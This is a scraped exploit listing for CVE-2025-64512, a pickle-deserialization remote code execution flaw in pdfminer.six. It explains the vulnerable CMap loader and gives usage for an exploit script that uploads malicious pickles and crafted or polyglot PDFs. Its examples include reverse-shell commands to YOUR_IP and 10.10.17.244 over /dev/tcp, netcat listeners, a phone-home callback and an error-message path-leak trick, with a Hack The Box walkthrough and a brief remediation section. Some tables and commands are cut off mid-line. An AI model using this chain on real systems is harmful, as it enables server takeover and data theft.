Sploitus

Exploit for Deserialization of Untrusted Data in Pdfminer Pdfminer.Six

githubexploit Β· 2026-09-15

Exploit Code

README141 lines
## https://sploitus.com/exploit?id=2C5EE6B1-4EA4-56C2-B3A5-2F46BB25E2C3
# CVE-2025-64512 β€” pdfminer.six RCE exploit

Python 3, **stdlib only** (no pip installs). For authorized security testing and
CTF use only β€” you are responsible for complying with the law and your engagement's
rules of engagement.

|                    |                                                                                                                                          |
| ------------------ | ---------------------------------------------------------------------------------------------------------------------------------------- |
| CVE                | **CVE-2025-64512**                                                                                                                       |
| Affected           | pdfminer.six **.pickle.gz`) inside its own package.
Look at how a CMap is loaded (`pdfminer/cmapdb.py`, all versions before 20251107):

```python
@classmethod
def _load_data(cls, name: str) -> Any:
    name = name.replace("\0", "")                  # the ONLY sanitization
    filename = "%s.pickle.gz" % name               # ← attacker controls `name`
    cmap_paths = (
        os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
        os.path.join(os.path.dirname(__file__), "cmap"),
    )
    for directory in cmap_paths:
        path = os.path.join(directory, filename)   # ← absolute name ignores the dir!
        if os.path.exists(path):
            with gzip.open(path) as gzfile:
                return type(str(name), (), pickle.loads(gzfile.read()))   # ← πŸ’₯
```

Three flaws stack up:

1. **`name` comes from the PDF itself.** A Type0 (CID) font's `/Encoding` entry is
   a PDF _name_, and the attacker fully controls it. PDF names can't contain a raw
   `/`, so it is written with RFC-standard hex escapes: the name
   `/#2f#76#61#72#2f…` decodes to `/var/…`.
2. **`os.path.join` quirk.** When the second argument is absolute, the first is
   ignored entirely. So a name of `/var/www/site/uploads/shell` makes pdfminer look
   at `/var/www/site/uploads/shell.pickle.gz` β€” _any_ path on disk β€” instead of its
   own CMap directory.
3. **`pickle.loads()` on the file's contents.** A pickle can carry "rebuild me by
   calling this function" instructions (`__reduce__`). Deserializing attacker
   bytes = running attacker code, inside whatever process called pdfminer.

**Exploit prerequisites** β€” the bug is trivially exploitable on any application
that gives you both halves of the equation:

- a way to **place a file** at a _known absolute path_ (an upload portal; the path
  is often leaked in error messages),
- a way to make the server **parse a PDF you control** (on upload, on a convert
  endpoint, via a background watcher/cron, …).

## 2. What the script does

1. Builds a gzipped pickle: `{"__reduce__": eval("__import__('os').system('')")}`.
2. Builds a minimal but structurally valid PDF whose only content is a page that
   uses a Type0 font whose `/Encoding` names your pickle's absolute path.
3. Delivers it:
   - **`--mode two`** _(default)_ β€” uploads `.pickle.gz`, then `.pdf`.
     Use this whenever the target only parses files with a PDF extension
     (e.g. a watcher globbing `uploads/*.pdf`).
   - **`--mode polyglot`** β€” uploads **one** file `.pickle.gz` that is _both_
     a valid gzip-pickle **and** a valid PDF: the entire PDF hides in the gzip
     header's FCOMMENT field (RFC 1952 allows comments; the `%PDF-` signature sits
     at byte 10, and the xref offsets are pre-shifted so the table stays valid).
     Use this when the target parses any uploaded file as PDF regardless of
     extension (markitdown-style converters).
4. Optionally verifies the files landed (`--verify`), waits out the target's
   processing cycle (`--wait`), and can prepend a **callback oracle** (`--callback`)
   that phones home before your command runs β€” so you can prove execution even if
   your main channel fails.

## 3. Installation

Nothing to install β€” Python 3.10+ (uses `str | None` syntax):

```bash
chmod +x cve_2025_64512.py
```

## 4. Usage

### 4.1 Rehearse locally first

Generate sample payloads and (if a vulnerable pdfminer is importable) execute them
in your own Python to prove the chain works before touching a target:

```bash
# point the selftest at a vulnerable pdfminer checkout/wheel (any  /tmp/pwned'
cp demo.pickle.gz demo-trigger.pdf /tmp/       # place as /tmp/demo.pickle.gz
pdf2txt.py /tmp/demo-trigger.pdf                # vulnerable pdfminer only
cat /tmp/pwned                                  # β†’ your uid
```

### 4.2 Generic upload portal (Bedside-style)

```bash
# 1. start a listener for your command's callback channel
nc -lvnp 4444

# 2. run the exploit β€” let it discover the upload directory itself
python3 cve_2025_64512.py \
    --url http://research.target.htb/ \
    --leak-path \
    --verify /uploads \
    --wait 35 \
    --command "bash -c 'exec bash -i &>/dev/tcp/YOUR_IP/4444 `; common: `uploadFile`, `file`).                                                                         |
| `--path`                                              | **Absolute** server-side directory where uploads land (e.g. `/var/www/site/uploads`). The PDF names the pickle here, so it must be exact.                     |
| `--leak-path`                                         | Don't know the path? Upload malformed content and scrape it from the portal's error message (many portals print the destination).                             |
| `--name`                                              | Basename for generated files (default `shell`). Randomize if you re-run to avoid stale files.                                                                 |
| `--mode`                                              | `two` (default) or `polyglot` β€” see Β§2.                                                                                                                       |
| `--callback URL`                                      | Prepend an HTTP fetch to `URL` before your command; run `python3 -m http.server 8000` and watch for the hit. Execution oracle.                                |
| `--wait N`                                            | Sleep N seconds after uploading β€” match the target's processing cadence (watchers/cron often poll every 30 s; **wait a full cycle before assuming failure**). |
| `--verify /uploads`                                   | GET each uploaded file afterwards to confirm it landed where the PDF expects it.                                                                              |
| `--timeout`, `--out-dir`, `--no-upload`, `--selftest` | HTTP timeout, local output dir, generate-only mode, local rehearsal.                                                                                          |

### 4.3 Worked example β€” HTB Bedside

```bash
echo "10.129.x.x bedside.htb research.bedside.htb" | sudo tee -a /etc/hosts
nc -lvnp 4444 &                                   # listener

python3 cve_2025_64512.py \
    --url http://research.bedside.htb/ \
    --path /var/www/research.bedside.htb/uploads \
    --verify /uploads --wait 35 \
    --command "bash -c 'exec bash -i &>/dev/tcp/10.10.17.244/4444 /.pickle.gz` (`--verify`). 3) Check the process running pdfminer can _read_ your file. 4) Use `--callback` for a definitive execution signal. |
| Upload path unknown                                                | `--leak-path`, or trigger any validation error and read the message.                                                                                                                                                                              |
| Polyglot never triggers                                            | The parsed file must be the _same_ file ending in `.pickle.gz`. If the target only parses `*.pdf` uploads, use `--mode two`.                                                                                                                      |
| `TypeError: type.__new__() argument 3 must be dict` in target logs | **That's success** β€” pdfminer executed your pickle and then tripped over its own return value. Harmless.                                                                                                                                          |
| Target patched                                                     | pdfminer β‰₯ 20251107 loads CMaps from JSON. Nothing to exploit here.                                                                                                                                                                               |

## 6. Remediation (for defenders)

- Upgrade **pdfminer.six β‰₯ 20251107**; patch **markitdown β‰₯ 0.1.4** / **pdfplumber β‰₯ 0.11.8**.
- Never place attacker-writable files where a parser resolves paths from
  file-internal metadata; serve uploads from storage the parser can only read.
- Treat every deserializer as code execution: `pickle.loads`, `torch.load`,
  `yaml.load` on untrusted bytes are all the same bug class. Prefer
  data-only formats (JSON, Safetensors, ONNX).
- Disable `X-Powered-By`-style headers and return generic errors β€” both leaked
  the ingredient list on Bedside.